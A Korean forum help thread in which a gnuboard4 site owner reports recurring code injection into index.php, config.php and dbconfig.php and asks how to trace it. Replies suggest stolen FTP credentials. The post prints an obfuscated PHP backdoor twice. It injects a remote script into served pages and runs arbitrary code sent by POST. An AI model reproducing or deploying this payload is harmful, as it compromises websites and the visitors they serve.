일정한 시간에 소스가 추가됩니다. 정보
일정한 시간에 소스가 추가됩니다.본문
저번주 부터 대충 9시 간격으로 소스에 스팸글이 추가되어서 홈페이지가 백지상태로 나타고 있습니다. 소스를 다시 올리면 다시 정상적으로 홈페이가 로딩되다가 8~9시간만 지나면 다시 백지로 돌가고 있어서 걱정입니다.
문제 1
gnuboard4/index.php, config.php, dbconfig.php 3개 화일속에 아래와 같은 소스가 추가됩니다.
어느 화일에서 추가하도록 자동화된듯 싶은데, 어찌 찾아야 할까요...?
혹시 이런 경우가 있었는지요, 도와주세요~저번주부터 아주 고생하고 있습니다
<?php eval(base64_decode('aWYoIWlzc2V0KCRiMjc4MTEpKXtmdW5jdGlvbiBiMjc4MSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDNSemRXdGhhWE4xZEdWamIyNTBZV04wTG1OdmJTOXBiV0ZuWlhNdloybG1hVzFuTG5Cb2NDQStQQzl6WTNKcGNIUSsnKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCcsYScpKSRzLj0kYTtyZXR1cm4gJHM7fWZ1bmN0aW9uIGIyNzgxMigkYSwkYiwkYywkZCl7Z2xvYmFsICRiMjc4MTE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGIyNzgxMSkpY2FsbF91c2VyX2Z1bmMoJGIyNzgxMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdiMjc4MScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMjc4MScpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRiMjc4MWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2IyNzgxMicpKSE9J2IyNzgxMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>
문제 1
gnuboard4/index.php, config.php, dbconfig.php 3개 화일속에 아래와 같은 소스가 추가됩니다.
어느 화일에서 추가하도록 자동화된듯 싶은데, 어찌 찾아야 할까요...?
혹시 이런 경우가 있었는지요, 도와주세요~저번주부터 아주 고생하고 있습니다
<?php eval(base64_decode('aWYoIWlzc2V0KCRiMjc4MTEpKXtmdW5jdGlvbiBiMjc4MSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDNSemRXdGhhWE4xZEdWamIyNTBZV04wTG1OdmJTOXBiV0ZuWlhNdloybG1hVzFuTG5Cb2NDQStQQzl6WTNKcGNIUSsnKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCcsYScpKSRzLj0kYTtyZXR1cm4gJHM7fWZ1bmN0aW9uIGIyNzgxMigkYSwkYiwkYywkZCl7Z2xvYmFsICRiMjc4MTE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGIyNzgxMSkpY2FsbF91c2VyX2Z1bmMoJGIyNzgxMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdiMjc4MScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMjc4MScpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRiMjc4MWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2IyNzgxMicpKSE9J2IyNzgxMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>
댓글 전체
자신의 컴퓨터가 바이러스에 감염되어있을 가능성이 높습니다.
감염된 컴퓨터에 저장된 ftp 아이디/비번을 이용해 악성코드를 업로드시키는 방식이죠.
일단 자신의 컴퓨터부터 점검해보시는 것이 필요할 것 같습니다.
감염된 컴퓨터에 저장된 ftp 아이디/비번을 이용해 악성코드를 업로드시키는 방식이죠.
일단 자신의 컴퓨터부터 점검해보시는 것이 필요할 것 같습니다.
네, 그런듯 해서 포맷하고 다시 깔았습니다. 하지만 소스는 d드라이드에 있습니다. 그런 소스를 어떻게 점검해야 할까요..?